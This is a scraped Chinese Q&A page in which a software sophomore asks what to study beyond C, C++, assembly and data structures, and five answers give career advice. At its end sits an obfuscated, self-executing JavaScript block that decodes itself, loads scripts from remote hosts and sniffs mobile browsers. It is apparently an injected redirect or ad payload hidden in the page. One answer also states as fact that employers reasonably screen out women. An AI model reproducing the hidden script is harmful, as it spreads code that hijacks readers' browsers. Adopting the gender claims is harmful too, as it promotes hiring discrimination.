软件专业大二了,才学c,c++,汇编,数据结构,其余的几乎没,,我想自学一些,希望能给个方向

2025-02-23 11:00:52
推荐回答(5个)
回答1:

软件专业的学弟 or 学妹?
方向是吧 在学校可能是挺迷茫的 都是走完了蓦然回首才知道自己当初应该干什么
我是软件专业大四的 我们学校这个专业都是去年9-11月份就都签约完了 我也实习了几个月了 给你点实际的经验之谈吧

首先告诉你 学校开什么课 真的几乎不重要 走马观花的 不要拿学校为我们自己找理由 想学 都得靠自己 其实这个专业挺庆幸 只要你想学 自己就可以学

那么现在就是学什么了 你需要一个方向是吧? (我曾经也迷茫过呵呵)

首先选门主流语言吧
c/c++ 或者 java (不过你喜欢vb汇编什么的 学的非常精通 找工作也非常容易 比较冷僻一些)
我个人是喜欢c的 大多数底层开发都是用c写的 从去年应聘的实际经验来看 企业对c方向的需要要远大于java

然后呢 作为一个好的程序员 严谨的逻辑思维是必须的 学好数据结构和算法 这是根本!
说c或者java,这些都仅是编程语言,语言语言,其根本就是个工具而已,而数据结构和算法,是精髓,可能以后你要用一种你不熟悉的语言,学语法而已,而算法思想,学到了,那永远是你的。
你再开学时大二下学期,稍微有点晚,要不我一定推荐你弄一弄acm,专门研究数据结构和算法的一项比赛。不过如果不得奖就为了锻炼自己的能力,你自己还是可以弄的,可以在网站上做题提交。对于练习思维的严谨性绝对大有裨益。对数据结构和算法的练习更是上佳!

有一门自己所用的语言了,可以随便再掌握点东西,比如mfc啊,jdk啊,活着针对于操作系统的windows编程或者linux编程啊什么的。有些会更好,不好其实也无所谓,编程语言是基础,数据结构和算法是根本,这些一定要掌握好!
IT这方面东西太多,多的让你眼花缭乱,不要看谁谁对网络协议可擅长了,谁谁会photoshop了,进了公司可能这些一点都用不到。只是说心态要好,当然会一些东西肯定是比不会要强的。

其实只要你有一个特长,找个好工作就没问题了。比如你什么都不会,就是c语言非常熟悉,都够了。 怎样做到锦上添花呢,就是你喜欢的,弄深弄精,不喜欢的,有大体框架,学校教了,你至少大概知道那是个什么东西,数据库啊,UML啊,计算机网络方面的知识啊,基础的东西最好会一些。
宽阔的基础面 + 一两门精通的绝活 = 抢手货

再就是4楼的回复,推荐你仔细看,说的非常好,你不是需要方向吗,他的那段话就是你想知道的方向

最后送你一些杂话吧,现想的,想起来什么说什么
1) 如果你的大学是名牌大学,那你在起跑线上就赢了一截。如果不是,那一定要有过硬的技术能力。 企业会首选名牌大学的,招聘会也都是在全国各地的名牌大学里,但是企业的根本也是赢利! 只要你有过硬的实力,问你啥你会啥,他们完全没不要你的理由!
2)如果你已经有目标,很想去某个公司。那你可以现在就关注那个公司的信息。公司是做什么技术方向的,公司往年招聘的试题,再往上看看能搜到不,至少每年招聘对人才的技能要求,应该容易搜到的,你不是没有方向吗,可以了解你想去的这个公司有什么技能要求,然后学习,机会真的是青睐于有准备的人的。
百度,腾讯,华为,迅雷,人人网,金山,有道,淘宝,这些大公司一点都不遥远,我认识的一个人,3本的学校,就去的腾讯,年薪20W左右。公司面试,你什么都会,没理由不要你。所以不要给自己找一些客观的理由,永远从自身找问题。
3)如果你喜欢这个行业,喜欢编程,那加油吧,很庆幸我就非常喜欢,如果不喜欢,那想干什么,早有打算,也不是这个专业就需要编程,大学混4年什么也不会的,技术不太好的,也可以去个好IT公司做销售什么的。
4)如果你是女的,那要想好方向,要做个程序员吗,毕竟确实挺辛苦的。我认识的算法大牛也有女的,毕竟是少数,如果不喜欢,可以做测试,这个女的做的稍微多一些,企业里人力资源的女性也偏多,如果想做这个,那再学校里就下意识提前练习自己的社交能力,进学生会,或者当班级干部什么的。
5)如果你是男的,那恭喜你,除了个别岗位,企业是倾向于男的的。为什么呢,男的能吃苦啊,能加班,没有漫长的带薪产假,每个月没有那烦躁的几天,女性有孩子了很大心思要放在孩子身上了,对于工作的投入自然少些。在此对女性毫无别的看法,只是这些都是很现实的东西,在这里说出来,女性看到了别有意见,社会就这样,企业的终极目的是给最少的薪水,找最好用的人。很多企业,女性的简历直接pass掉了,管你简历上各种“功勋”, 这个也是问题。 恭喜之余还要说,学业一定要打好基础,什么都在于自己。别忘了你的竞争对手,几乎都是男的。。。 这个行业女的少,而且一般学的都比你好,因为女生毕竟乖巧一些,不会像有的男生一样打四年游戏,挂N多科
6)以上都是针对平均水平说的,如果你出类拔萃,那神马都是浮云,只有天空是极限。一切还是看自己!

回答2:

呵呵呵,哈哈哈!!! 先鄙视一下~ 楼主不要生气哦~
我今年17,高职生,应用电子技术专业。(说实话,学校里根本不教专业课,全靠自己学)
我从初中就开始自学编程语言,主要还是C/C++,现在正准备考NCRE二级C 和 全国软考 程序员职称。
我现在已经可以用 Win32SDK 和 MFC 写一些实际的程序了~
.NET平台我也有一些了解,绝不是吹牛,不信你可以看看我在百度知道上的回答~
下一步打算接触 Kernel Mode 驱动程序开发,写 Ring0 代码喽~
以后的打算,当然是做程序员了~

其实,对于咱们来说,做技术,基础课还是蛮重要的,至少英语和高数要精通,多看MSDN文档
要逼着自己看英文资料、用英文系统…… 虽然MSDN有中文版的,但里面核心的技术都是英文,比如Windows API文档和Platform SDK文档…… 除非你不想做技术,想做销售。否则没的选。

还想自学一些课程,要看你以后的方向了。如果想在Windows底层有所作为的话,Jeffrey Richer的《Windows via C/C++》Fifth Edition 是必看的,记住,要看英文原版。如果想做Web开发,那就需要看ASP.NET、AJAX等等……

老哥,总之不要指望能能从学校学到什么,靠的就是自己对技术的狂热。因为我看清了我与实际程序员的差距,这差距就是我不断向前的动力。

最后,如果有时间的话,推荐你看一本小说《疯狂的程序员》,这书让我产生了强烈的共鸣。搞“挨踢”,不易啊!

回答3:

这些都是基础!

不要把自己局限在这个范围内了,其实计算机有很多就业的方向,比如你画画好 有网页设计,flash,photoshop等。你打字特别的快,练到一分钟500个字 你可以同声打字,当公司开会需要记录时 ,你可以去,收入相当可观 几个小时可以1-2万人民币,软件又有很多 ,比如商务软件,网络软件,游戏软件,系统软件,接口软件;看你对那些方面比较感兴趣,推荐现在你大二好好学基础,把上课老师学的研究透,再去图书馆,看一看学一些深的东西,现在考虑这些事没有太大的用,因为学校学的东西基本上是10年前以前的东西,现在根本就不会用了。到找工作时还是需要培训,现在学的好,以后就是学的能快一些,理解能更加的透彻一些,轻松一些,你要是真的想好好学 有出息,推荐先把你们学的最基础的东西学透。有时间常去公司实习。去公司实习能让你学到在学校根本就学不到的东西!

回答4:

if
你想做研发,想进牛X公司,喜欢智性的挑战,请把主要精力放在数据结构和算法上,并关注c/c++本身,不要在mfc,.net等工程性的东西上花太多时间.算法数据结构以及语言本身是程序员的地基和生命之源.不要被潮流和各种新兴语言左右自己.
else if
你不太喜欢不太擅长数学和思考,想早点做出点东西来,你可以学学windows程序设计,sdk,mfc什么的都可以,java,.net也可以涉猎.如果对硬件感兴趣,可以学学单片机,arm开发等技术但请同样不要扔了数据结构,这个仍然很重要.
else
你什么都不喜欢,那么别学软件,干别的~

回答5:

学一下Windows下的程序设计吧,有这些基础应该还是可以的,Windows应该是一个主流的平台了,哪怕Windows用户只剩50%也还是有市场的,呵呵,仅供参考。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();